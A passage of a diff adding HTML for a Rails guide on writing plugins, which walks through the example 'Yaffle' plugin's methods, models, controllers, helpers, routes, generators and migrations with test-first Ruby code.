+	<li><strong>vendor/plugins/yaffle/lib/yaffle/acts_as_yaffle.rb</strong></li>
+</ul>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+module Yaffle
+  def self.included(base)
+    base.send :extend, ClassMethods
+  end
+
+  module ClassMethods
+    # any method placed here will apply to classes, like Hickwall
+    def acts_as_something
+      send :include, InstanceMethods
+    end
+  end
+
+  module InstanceMethods
+    # any method placed here will apply to instaces, like @hickwall
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>With structure you can easily separate the methods that will be used for the class (like <tt>Hickwall.some_method</tt>) and the instance (like <tt>@hickwell.some_method</tt>).</p>
+<h4 id="add-a-class-method">4.1 Add a Class Method</h4>
+<p>This plugin will expect that you&#8217;ve added a method to your model named &#8216;last_squawk&#8217;.  However, the plugin users might have already defined a method on their model named &#8216;last_squawk&#8217; that they use for something else.  This plugin will allow the name to be changed by adding a class method called &#8216;yaffle_text_field&#8217;.</p>
+<p>To start out, write a failing test that shows the behavior you&#8217;d like:</p>
+<ul>
+	<li><strong>vendor/plugins/yaffle/test/acts_as_yaffle_test.rb</strong></li>
+</ul>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+require File.dirname(__FILE__) + '/test_helper'
+
+class Hickwall &lt; ActiveRecord::Base
+  acts_as_yaffle
+end
+
+class Wickwall &lt; ActiveRecord::Base
+  acts_as_yaffle :yaffle_text_field =&gt; :last_tweet
+end
+
+class ActsAsYaffleTest &lt; Test::Unit::TestCase
+  load_schema
+
+  def test_a_hickwalls_yaffle_text_field_should_be_last_squawk
+    assert_equal &quot;last_squawk&quot;, Hickwall.yaffle_text_field
+  end
+
+  def test_a_wickwalls_yaffle_text_field_should_be_last_tweet
+    assert_equal &quot;last_tweet&quot;, Wickwall.yaffle_text_field
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>To make these tests pass, you could modify your <tt>acts_as_yaffle</tt> file like so:</p>
+<ul>
+	<li><strong>vendor/plugins/yaffle/lib/yaffle/acts_as_yaffle.rb</strong></li>
+</ul>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+module Yaffle
+  def self.included(base)
+    base.send :extend, ClassMethods
+  end
+
+  module ClassMethods
+    def acts_as_yaffle(options = {})
+      cattr_accessor :yaffle_text_field
+      self.yaffle_text_field = (options[:yaffle_text_field] || :last_squawk).to_s
+    end
+  end
+end
+
+ActiveRecord::Base.send :include, Yaffle
+</pre>
+</div>
+</notextile>
+
+<h4 id="add-an-instance-method">4.2 Add an Instance Method</h4>
+<p>This plugin will add a method named &#8216;squawk&#8217; to any Active Record objects that call &#8216;acts_as_yaffle&#8217;.  The &#8216;squawk&#8217; method will simply set the value of one of the fields in the database.</p>
+<p>To start out, write a failing test that shows the behavior you&#8217;d like:</p>
+<ul>
+	<li><strong>vendor/plugins/yaffle/test/acts_as_yaffle_test.rb</strong></li>
+</ul>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+require File.dirname(__FILE__) + '/test_helper'
+
+class Hickwall &lt; ActiveRecord::Base
+  acts_as_yaffle
+end
+
+class Wickwall &lt; ActiveRecord::Base
+  acts_as_yaffle :yaffle_text_field =&gt; :last_tweet
+end
+
+class ActsAsYaffleTest &lt; Test::Unit::TestCase
+  load_schema
+
+  def test_a_hickwalls_yaffle_text_field_should_be_last_squawk
+    assert_equal &quot;last_squawk&quot;, Hickwall.yaffle_text_field
+  end
+
+  def test_a_wickwalls_yaffle_text_field_should_be_last_tweet
+    assert_equal &quot;last_tweet&quot;, Wickwall.yaffle_text_field
+  end
+
+  def test_hickwalls_squawk_should_populate_last_squawk
+    hickwall = Hickwall.new
+    hickwall.squawk(&quot;Hello World&quot;)
+    assert_equal &quot;squawk! Hello World&quot;, hickwall.last_squawk
+  end
+
+  def test_wickwalls_squawk_should_populate_last_tweeted_at
+    wickwall = Wickwall.new
+    wickwall.squawk(&quot;Hello World&quot;)
+    assert_equal &quot;squawk! Hello World&quot;, wickwall.last_tweet
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>Run this test to make sure the last two tests fail, then update &#8216;acts_as_yaffle.rb&#8217; to look like this:</p>
+<ul>
+	<li><strong>vendor/plugins/yaffle/lib/yaffle/acts_as_yaffle.rb</strong></li>
+</ul>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+module Yaffle
+  def self.included(base)
+    base.send :extend, ClassMethods
+  end
+
+  module ClassMethods
+    def acts_as_yaffle(options = {})
+      cattr_accessor :yaffle_text_field
+      self.yaffle_text_field = (options[:yaffle_text_field] || :last_squawk).to_s
+      send :include, InstanceMethods
+    end
+  end
+
+  module InstanceMethods
+    def squawk(string)
+      write_attribute(self.class.yaffle_text_field, string.to_squawk)
+    end
+  end
+end
+
+ActiveRecord::Base.send :include, Yaffle
+</pre>
+</div>
+</notextile>
+
+<div class='note'><p>The use of <tt>write_attribute</tt> to write to the field in model is just one example of how a plugin can interact with the model, and will not always be the right method to use.  For example, you could also use <tt>send("#{self.class.yaffle_text_field}=", string.to_squawk)</tt>.</p></div>
+<h3 id="models">5 Models</h3>
+<p>This section describes how to add a model named &#8216;Woodpecker&#8217; to your plugin that will behave the same as a model in your main app.  When storing models, controllers, views and helpers in your plugin, it&#8217;s customary to keep them in directories that match the rails directories.  For this example, create a file structure like this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+vendor/plugins/yaffle/
+|-- lib
+|   |-- app
+|   |   |-- controllers
+|   |   |-- helpers
+|   |   |-- models
+|   |   |   `-- woodpecker.rb
+|   |   `-- views
+|   |-- yaffle
+|   |   |-- acts_as_yaffle.rb
+|   |   |-- commands.rb
+|   |   `-- core_ext.rb
+|   `-- yaffle.rb
+</pre>
+</div>
+</notextile>
+
+<p>As always, start with a test:</p>
+<ul>
+	<li><strong>vendor/plugins/yaffle/test/woodpecker_test.rb:</strong></li>
+</ul>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+require File.dirname(__FILE__) + '/test_helper'
+
+class WoodpeckerTest &lt; Test::Unit::TestCase
+  load_schema
+
+  def test_woodpecker
+    assert_kind_of Woodpecker, Woodpecker.new
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>This is just a simple test to make sure the class is being loaded correctly.  After watching it fail with <tt>rake</tt>, you can make it pass like so:</p>
+<ul>
+	<li><strong>vendor/plugins/yaffle/lib/yaffle.rb:</strong></li>
+</ul>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+%w{ models }.each do |dir|
+  path = File.join(File.dirname(__FILE__), 'app', dir)
+  $LOAD_PATH &lt;&lt; path
+  ActiveSupport::Dependencies.load_paths &lt;&lt; path
+  ActiveSupport::Dependencies.load_once_paths.delete(path)
+end
+</pre>
+</div>
+</notextile>
+
+<p>Adding directories to the load path makes them appear just like files in the main app directory &#8211; except that they are only loaded once, so you have to restart the web server to see the changes in the browser.  Removing directories from the &#8216;load_once_paths&#8217; allow those changes to picked up as soon as you save the file &#8211; without having to restart the web server.  This is particularly useful as you develop the plugin.</p>
+<ul>
+	<li><strong>vendor/plugins/yaffle/lib/app/models/woodpecker.rb:</strong></li>
+</ul>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Woodpecker &lt; ActiveRecord::Base
+end
+</pre>
+</div>
+</notextile>
+
+<p>Finally, add the following to your plugin&#8217;s &#8216;schema.rb&#8217;:</p>
+<ul>
+	<li><strong>vendor/plugins/yaffle/test/schema.rb:</strong></li>
+</ul>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+create_table :woodpeckers, :force =&gt; true do |t|
+  t.string :name
+end
+</pre>
+</div>
+</notextile>
+
+<p>Now your test should be passing, and you should be able to use the Woodpecker model from within your rails application, and any changes made to it are reflected immediately when running in development mode.</p>
+<h3 id="controllers">6 Controllers</h3>
+<p>This section describes how to add a controller named &#8216;woodpeckers&#8217; to your plugin that will behave the same as a controller in your main app.  This is very similar to adding a model.</p>
+<p>You can test your plugin&#8217;s controller as you would test any other controller:</p>
+<ul>
+	<li><strong>vendor/plugins/yaffle/test/woodpeckers_controller_test.rb:</strong></li>
+</ul>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+require File.dirname(__FILE__) + '/test_helper'
+require 'woodpeckers_controller'
+require 'action_controller/test_process'
+
+class WoodpeckersController; def rescue_action(e) raise e end; end
+
+class WoodpeckersControllerTest &lt; Test::Unit::TestCase
+  def setup
+    @controller = WoodpeckersController.new
+    @request = ActionController::TestRequest.new
+    @response = ActionController::TestResponse.new
+
+    ActionController::Routing::Routes.draw do |map|
+      map.resources :woodpeckers
+    end
+  end
+
+  def test_index
+    get :index
+    assert_response :success
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>This is just a simple test to make sure the controller is being loaded correctly.  After watching it fail with <tt>rake</tt>, you can make it pass like so:</p>
+<ul>
+	<li><strong>vendor/plugins/yaffle/lib/yaffle.rb:</strong></li>
+</ul>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+%w{ models controllers }.each do |dir|
+  path = File.join(File.dirname(__FILE__), 'app', dir)
+  $LOAD_PATH &lt;&lt; path
+  ActiveSupport::Dependencies.load_paths &lt;&lt; path
+  ActiveSupport::Dependencies.load_once_paths.delete(path)
+end
+</pre>
+</div>
+</notextile>
+
+<ul>
+	<li><strong>vendor/plugins/yaffle/lib/app/controllers/woodpeckers_controller.rb:</strong></li>
+</ul>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class WoodpeckersController &lt; ActionController::Base
+
+  def index
+    render :text =&gt; &quot;Squawk!&quot;
+  end
+
+end
+</pre>
+</div>
+</notextile>
+
+<p>Now your test should be passing, and you should be able to use the Woodpeckers controller in your app.  If you add a route for the woodpeckers controller you can start up your server and go to http://localhost:3000/woodpeckers to see your controller in action.</p>
+<h3 id="helpers">7 Helpers</h3>
+<p>This section describes how to add a helper named &#8216;WoodpeckersHelper&#8217; to your plugin that will behave the same as a helper in your main app.  This is very similar to adding a model and a controller.</p>
+<p>You can test your plugin&#8217;s helper as you would test any other helper:</p>
+<ul>
+	<li><strong>vendor/plugins/yaffle/test/woodpeckers_helper_test.rb</strong></li>
+</ul>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+require File.dirname(__FILE__) + '/test_helper'
+include WoodpeckersHelper
+
+class WoodpeckersHelperTest &lt; Test::Unit::TestCase
+  def test_tweet
+    assert_equal &quot;Tweet! Hello&quot;, tweet(&quot;Hello&quot;)
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>This is just a simple test to make sure the helper is being loaded correctly.  After watching it fail with <tt>rake</tt>, you can make it pass like so:</p>
+<ul>
+	<li><strong>vendor/plugins/yaffle/lib/yaffle.rb:</strong></li>
+</ul>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+%w{ models controllers helpers }.each do |dir|
+  path = File.join(File.dirname(__FILE__), 'app', dir)
+  $LOAD_PATH &lt;&lt; path
+  ActiveSupport::Dependencies.load_paths &lt;&lt; path
+  ActiveSupport::Dependencies.load_once_paths.delete(path)
+end
+</pre>
+</div>
+</notextile>
+
+<ul>
+	<li><strong>vendor/plugins/yaffle/lib/app/helpers/woodpeckers_helper.rb:</strong></li>
+</ul>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+module WoodpeckersHelper
+
+  def tweet(text)
+    &quot;Tweet! #{text}&quot;
+  end
+
+end
+</pre>
+</div>
+</notextile>
+
+<p>Now your test should be passing, and you should be able to use the Woodpeckers helper in your app.</p>
+<h3 id="routes">8 Routes</h3>
+<p>In a standard &#8216;routes.rb&#8217; file you use routes like &#8216;map.connect&#8217; or &#8216;map.resources&#8217;.  You can add your own custom routes from a plugin.  This section will describe how to add a custom method called that can be called with &#8216;map.yaffles&#8217;.</p>
+<p>Testing routes from plugins is slightly different from testing routes in a standard rails application.  To begin, add a test like this:</p>
+<ul>
+	<li><strong>vendor/plugins/yaffle/test/routing_test.rb</strong></li>
+</ul>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+require &quot;#{File.dirname(__FILE__)}/test_helper&quot;
+
+class RoutingTest &lt; Test::Unit::TestCase
+
+  def setup
+    ActionController::Routing::Routes.draw do |map|
+      map.yaffles
+    end
+  end
+
+  def test_yaffles_route
+    assert_recognition :get, &quot;/yaffles&quot;, :controller =&gt; &quot;yaffles_controller&quot;, :action =&gt; &quot;index&quot;
+  end
+
+  private
+
+    def assert_recognition(method, path, options)
+      result = ActionController::Routing::Routes.recognize_path(path, :method =&gt; method)
+      assert_equal options, result
+    end
+end
+</pre>
+</div>
+</notextile>
+
+<p>Once you see the tests fail by running &#8216;rake&#8217;, you can make them pass with:</p>
+<ul>
+	<li><strong>vendor/plugins/yaffle/lib/yaffle.rb</strong></li>
+</ul>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+require &quot;yaffle/routing&quot;
+</pre>
+</div>
+</notextile>
+
+<ul>
+	<li><strong>vendor/plugins/yaffle/lib/yaffle/routing.rb</strong></li>
+</ul>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+module Yaffle #:nodoc:
+  module Routing #:nodoc:
+    module MapperExtensions
+      def yaffles
+        @set.add_route(&quot;/yaffles&quot;, {:controller =&gt; &quot;yaffles_controller&quot;, :action =&gt; &quot;index&quot;})
+      end
+    end
+  end
+end
+
+ActionController::Routing::RouteSet::Mapper.send :include, Yaffle::Routing::MapperExtensions
+</pre>
+</div>
+</notextile>
+
+<ul>
+	<li><strong>config/routes.rb</strong></li>
+</ul>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+ActionController::Routing::Routes.draw do |map|
+  map.yaffles
+end
+</pre>
+</div>
+</notextile>
+
+<p>You can also see if your routes work by running <tt>rake routes</tt> from your app directory.</p>
+<h3 id="generators">9 Generators</h3>
+<p>Many plugins ship with generators.  When you created the plugin above, you specified the <tt>--generator</tt> option, so you already have the generator stubs in &#8216;vendor/plugins/yaffle/generators/yaffle&#8217;.</p>
+<p>Building generators is a complex topic unto itself and this section will cover one small aspect of generators: generating a simple text file.</p>
+<h4 id="testing-generators">9.1 Testing Generators</h4>
+<p>Many rails plugin authors do not test their generators, however testing generators is quite simple.  A typical generator test does the following:</p>
+<ul>
+	<li>Creates a new fake rails root directory that will serve as destination</li>
+	<li>Runs the generator</li>
+	<li>Asserts that the correct files were generated</li>
+	<li>Removes the fake rails root</li>
+</ul>
+<p>This section will describe how to create a simple generator that adds a file.  For the generator in this section, the test could look something like this:</p>
+<ul>
+	<li><strong>vendor/plugins/yaffle/test/definition_generator_test.rb</strong></li>
+</ul>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+require File.dirname(__FILE__) + '/test_helper'
+require 'rails_generator'
+require 'rails_generator/scripts/generate'
+
+class DefinitionGeneratorTest &lt; Test::Unit::TestCase
+
+  def setup
+    FileUtils.mkdir_p(fake_rails_root)
+    @original_files = file_list
+  end
+
+  def teardown
+    FileUtils.rm_r(fake_rails_root)
+  end
+
+  def test_generates_correct_file_name
+    Rails::Generator::Scripts::Generate.new.run([&quot;yaffle_definition&quot;], :destination =&gt; fake_rails_root)
+    new_file = (file_list - @original_files).first
+    assert_equal &quot;definition.txt&quot;, File.basename(new_file)
+  end
+
+  private
+
+    def fake_rails_root
+      File.join(File.dirname(__FILE__), 'rails_root')
+    end
+
+    def file_list
+      Dir.glob(File.join(fake_rails_root, &quot;*&quot;))
+    end
+
+end
+</pre>
+</div>
+</notextile>
+
+<p>You can run &#8216;rake&#8217; from the plugin directory to see this fail.  Unless you are doing more advanced generator commands it typically suffices to just test the Generate script, and trust that rails will handle the Destroy and Update commands for you.</p>
+<p>To make it pass, create the generator:</p>
+<ul>
+	<li><strong>vendor/plugins/yaffle/generators/yaffle_definition/yaffle_definition_generator.rb</strong></li>
+</ul>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class YaffleDefinitionGenerator &lt; Rails::Generator::Base
+  def manifest
+    record do |m|
+      m.file &quot;definition.txt&quot;, &quot;definition.txt&quot;
+    end
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<h4 id="the-usage-file">9.2 The <tt>USAGE</tt> File</h4>
+<p>If you plan to distribute your plugin, developers will expect at least a minimum of documentation.  You can add simple documentation to the generator by updating the <span class="caps">USAGE</span> file.</p>
+<p>Rails ships with several built-in generators.  You can see all of the generators available to you by typing the following at the command line:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+rails generate
+</pre>
+</div>
+</notextile>
+
+<p>You should see something like this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+Installed Generators
+  Plugins (vendor/plugins): yaffle_definition
+  Builtin: controller, integration_test, mailer, migration, model, observer, plugin, resource, scaffold, session_migration
+</pre>
+</div>
+</notextile>
+
+<p>When you run <tt>rails generate yaffle_definition -h</tt> you should see the contents of your &#8216;vendor/plugins/yaffle/generators/yaffle_definition/<span class="caps">USAGE</span>&#8217;.</p>
+<p>For this plugin, update the <span class="caps">USAGE</span> file could look like this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+Description:
+    Adds a file with the definition of a Yaffle to the app's main directory
+</pre>
+</div>
+</notextile>
+
+<h3 id="add-a-custom-generator-command">10 Add a Custom Generator Command</h3>
+<p>You may have noticed above that you can used one of the built-in rails migration commands <tt>migration_template</tt>.  If your plugin needs to add and remove lines of text from existing files you will need to write your own generator methods.</p>
+<p>This section describes how you you can create your own commands to add and remove a line of text from &#8216;routes.rb&#8217;.  This example creates a very simple method that adds or removes a text file.</p>
+<p>To start, add the following test method:</p>
+<ul>
+	<li><strong>vendor/plugins/yaffle/test/generator_test.rb</strong></li>
+</ul>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def test_generates_definition
+  Rails::Generator::Scripts::Generate.new.run([&quot;yaffle&quot;, &quot;bird&quot;], :destination =&gt; fake_rails_root)
+  definition = File.read(File.join(fake_rails_root, &quot;definition.txt&quot;))
+  assert_match /Yaffle\:/, definition
+end
+</pre>
+</div>
+</notextile>
+
+<p>Run <tt>rake</tt> to watch the test fail, then make the test pass add the following:</p>
+<ul>
+	<li><strong>vendor/plugins/yaffle/generators/yaffle/templates/definition.txt</strong></li>
+</ul>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+Yaffle: A bird
+</pre>
+</div>
+</notextile>
+
+<ul>
+	<li><strong>vendor/plugins/yaffle/lib/yaffle.rb</strong></li>
+</ul>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+require &quot;yaffle/commands&quot;
+</pre>
+</div>
+</notextile>
+
+<ul>
+	<li><strong>vendor/plugins/yaffle/lib/commands.rb</strong></li>
+</ul>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+require 'rails_generator'
+require 'rails_generator/commands'
+
+module Yaffle #:nodoc:
+  module Generator #:nodoc:
+    module Commands #:nodoc:
+      module Create
+        def yaffle_definition
+          file(&quot;definition.txt&quot;, &quot;definition.txt&quot;)
+        end
+      end
+
+      module Destroy
+        def yaffle_definition
+          file(&quot;definition.txt&quot;, &quot;definition.txt&quot;)
+        end
+      end
+
+      module List
+        def yaffle_definition
+          file(&quot;definition.txt&quot;, &quot;definition.txt&quot;)
+        end
+      end
+
+      module Update
+        def yaffle_definition
+          file(&quot;definition.txt&quot;, &quot;definition.txt&quot;)
+        end
+      end
+    end
+  end
+end
+
+Rails::Generator::Commands::Create.send   :include,  Yaffle::Generator::Commands::Create
+Rails::Generator::Commands::Destroy.send  :include,  Yaffle::Generator::Commands::Destroy
+Rails::Generator::Commands::List.send     :include,  Yaffle::Generator::Commands::List
+Rails::Generator::Commands::Update.send   :include,  Yaffle::Generator::Commands::Update
+</pre>
+</div>
+</notextile>
+
+<p>Finally, call your new method in the manifest:</p>
+<ul>
+	<li><strong>vendor/plugins/yaffle/generators/yaffle/yaffle_generator.rb</strong></li>
+</ul>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class YaffleGenerator &lt; Rails::Generator::NamedBase
+  def manifest
+    m.yaffle_definition
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<h3 id="generator-commands">11 Generator Commands</h3>
+<p>You may have noticed above that you can used one of the built-in rails migration commands <tt>migration_template</tt>.  If your plugin needs to add and remove lines of text from existing files you will need to write your own generator methods.</p>
+<p>This section describes how you you can create your own commands to add and remove a line of text from &#8216;config/routes.rb&#8217;.</p>
+<p>To start, add the following test method:</p>
+<ul>
+	<li><strong>vendor/plugins/yaffle/test/route_generator_test.rb</strong></li>
+</ul>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+require File.dirname(__FILE__) + '/test_helper'
+require 'rails_generator'
+require 'rails_generator/scripts/generate'
+require 'rails_generator/scripts/destroy'
+
+class RouteGeneratorTest &lt; Test::Unit::TestCase
+
+  def setup
+    FileUtils.mkdir_p(File.join(fake_rails_root, &quot;config&quot;))
+  end
+
+  def teardown
+    FileUtils.rm_r(fake_rails_root)
+  end
+
+  def test_generates_route
+    content = &lt;&lt;-END
+      ActionController::Routing::Routes.draw do |map|
+        map.connect ':controller/:action/:id'
+        map.connect ':controller/:action/:id.:format'
+      end
+    END
+    File.open(routes_path, 'wb') {|f| f.write(content) }
+
+    Rails::Generator::Scripts::Generate.new.run([&quot;yaffle_route&quot;], :destination =&gt; fake_rails_root)
+    assert_match /map\.yaffles/, File.read(routes_path)
+  end
+
+  def test_destroys_route
+    content = &lt;&lt;-END
+      ActionController::Routing::Routes.draw do |map|
+        map.yaffles
+        map.connect ':controller/:action/:id'
+        map.connect ':controller/:action/:id.:format'
+      end
+    END
+    File.open(routes_path, 'wb') {|f| f.write(content) }
+
+    Rails::Generator::Scripts::Destroy.new.run([&quot;yaffle_route&quot;], :destination =&gt; fake_rails_root)
+    assert_no_match /map\.yaffles/, File.read(routes_path)
+  end
+
+  private
+
+    def fake_rails_root
+      File.join(File.dirname(__FILE__), &quot;rails_root&quot;)
+    end
+
+    def routes_path
+      File.join(fake_rails_root, &quot;config&quot;, &quot;routes.rb&quot;)
+    end
+
+end
+</pre>
+</div>
+</notextile>
+
+<p>Run <tt>rake</tt> to watch the test fail, then make the test pass add the following:</p>
+<ul>
+	<li><strong>vendor/plugins/yaffle/lib/yaffle.rb</strong></li>
+</ul>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+require &quot;yaffle/commands&quot;
+</pre>
+</div>
+</notextile>
+
+<ul>
+	<li><strong>vendor/plugins/yaffle/lib/yaffle/commands.rb</strong></li>
+</ul>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+require 'rails_generator'
+require 'rails_generator/commands'
+
+module Yaffle #:nodoc:
+  module Generator #:nodoc:
+    module Commands #:nodoc:
+      module Create
+        def yaffle_route
+          logger.route &quot;map.yaffle&quot;
+          look_for = 'ActionController::Routing::Routes.draw do |map|'
+          unless options[:pretend]
+            gsub_file('config/routes.rb', /(#{Regexp.escape(look_for)})/mi){|match| &quot;#{match}\n  map.yaffles\n&quot;}
+          end
+        end
+      end
+
+      module Destroy
+        def yaffle_route
+          logger.route &quot;map.yaffle&quot;
+          gsub_file 'config/routes.rb', /\n.+?map\.yaffles/mi, ''
+        end
+      end
+
+      module List
+        def yaffle_route
+        end
+      end
+
+      module Update
+        def yaffle_route
+        end
+      end
+    end
+  end
+end
+
+Rails::Generator::Commands::Create.send   :include,  Yaffle::Generator::Commands::Create
+Rails::Generator::Commands::Destroy.send  :include,  Yaffle::Generator::Commands::Destroy
+Rails::Generator::Commands::List.send     :include,  Yaffle::Generator::Commands::List
+Rails::Generator::Commands::Update.send   :include,  Yaffle::Generator::Commands::Update
+</pre>
+</div>
+</notextile>
+
+<ul>
+	<li><strong>vendor/plugins/yaffle/generators/yaffle_route/yaffle_route_generator.rb</strong></li>
+</ul>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class YaffleRouteGenerator &lt; Rails::Generator::Base
+  def manifest
+    record do |m|
+      m.yaffle_route
+    end
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>To see this work, type:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+rails generate yaffle_route
+rails destroy yaffle_route
+</pre>
+</div>
+</notextile>
+
+<div class='note'><p>If you haven&#8217;t set up the custom route from above, &#8216;rails destroy&#8217; will fail and you&#8217;ll have to remove it manually.</p></div>
+<h3 id="migrations">12 Migrations</h3>
+<p>If your plugin requires changes to the app&#8217;s database you will likely want to somehow add migrations.  Rails does not include any built-in support for calling migrations from plugins, but you can still make it easy for developers to call migrations from plugins.</p>
+<p>If you have a very simple needs, like creating a table that will always have the same name and columns, then you can use a more simple solution, like creating a custom rake task or method.  If your migration needs user input to supply table names or other options, you probably want to opt for generating a migration.</p>
+<p>Let&#8217;s say you have the following migration in your plugin:</p>
+<ul>
+	<li><strong>vendor/plugins/yaffle/lib/db/migrate/20081116181115_create_birdhouses.rb:</strong></li>
+</ul>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class CreateBirdhouses &lt; ActiveRecord::Migration
+  def self.up
+    create_table :birdhouses, :force =&gt; true do |t|
+      t.string :name
+      t.timestamps
+    end
+  end
+
+  def self.down
+    drop_table :birdhouses
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>Here are a few possibilities for how to allow developers to use your plugin migrations:</p>
+<h4 id="create-a-custom-rake-task">12.1 Create a Custom Rake Task</h4>
+<ul>
+	<li><strong>vendor/plugins/yaffle/tasks/yaffle_tasks.rake:</strong></li>
+</ul>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+namespace :db do
+  namespace :migrate do
+    description = &quot;Migrate the database through scripts in vendor/plugins/yaffle/lib/db/migrate&quot;
+    description &lt;&lt; &quot;and update db/schema.rb by invoking db:schema:dump.&quot;
+    description &lt;&lt; &quot;Target specific version with VERSION=x. Turn off output with VERBOSE=false.&quot;
+
+    desc description
+    task :yaffle =&gt; :environment do
+      ActiveRecord::Migration.verbose = ENV[&quot;VERBOSE&quot;] ? ENV[&quot;VERBOSE&quot;] == &quot;true&quot; : true
+      ActiveRecord::Migrator.migrate(&quot;vendor/plugins/yaffle/lib/db/migrate/&quot;, ENV[&quot;VERSION&quot;] ? ENV[&quot;VERSION&quot;].to_i : nil)
+      Rake::Task[&quot;db:schema:dump&quot;].invoke if ActiveRecord::Base.schema_format == :ruby
+    end
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<h4 id="call-migrations-directly">12.2 Call Migrations Directly</h4>
+<ul>
+	<li><strong>vendor/plugins/yaffle/lib/yaffle.rb:</strong></li>
+</ul>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Dir.glob(File.join(File.dirname(__FILE__), &quot;db&quot;, &quot;migrate&quot;, &quot;*&quot;)).each do |file|
+  require file
+end
+</pre>
+</div>
+</notextile>
+
+<ul>
+	<li><strong>db/migrate/20081116181115_create_birdhouses.rb:</strong></li>
+</ul>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class CreateBirdhouses &lt; ActiveRecord::Migration
+  def self.up
+    Yaffle::CreateBirdhouses.up
+  end
+
+  def self.down
+    Yaffle::CreateBirdhouses.down
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<div class='note'><p>several plugin frameworks such as Desert and Engines provide more advanced plugin functionality.</p></div>
+<h4 id="generate-migrations">12.3 Generate Migrations</h4>
+<p>Generating migrations has several advantages over other methods.  Namely, you can allow other developers to more easily customize the migration.  The flow looks like this:</p>
+<ul>
+	<li>call your rails generate script and pass in whatever options they need</li>
+	<li>examine the generated migration, adding/removing columns or other options as necessary</li>
+</ul>
+<p>This example will demonstrate how to use one of the built-in generator methods named &#8216;migration_template&#8217; to create a migration file.  Extending the rails migration generator requires a somewhat intimate knowledge of the migration generator internals, so it&#8217;s best to write a test first:</p>
+<ul>
+	<li><strong>vendor/plugins/yaffle/test/yaffle_migration_generator_test.rb</strong></li>
+</ul>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+require File.dirname(__FILE__) + '/test_helper'
+require 'rails_generator'
+require 'rails_generator/scripts/generate'
+
+class MigrationGeneratorTest &lt; Test::Unit::TestCase
+
+  def setup
+    FileUtils.mkdir_p(fake_rails_root)
+    @original_files = file_list
+  end
+
+  def teardown
+    ActiveRecord::Base.pluralize_table_names = true
+    FileUtils.rm_r(fake_rails_root)
+  end
+
+  def test_generates_correct_file_name
+    Rails::Generator::Scripts::Generate.new.run([&quot;yaffle_migration&quot;, &quot;some_name_nobody_is_likely_to_ever_use_in_a_real_migration&quot;],
+      :destination =&gt; fake_rails_root)
+    new_file = (file_list - @original_files).first
+    assert_match /add_yaffle_fields_to_some_name_nobody_is_likely_to_ever_use_in_a_real_migrations/, new_file
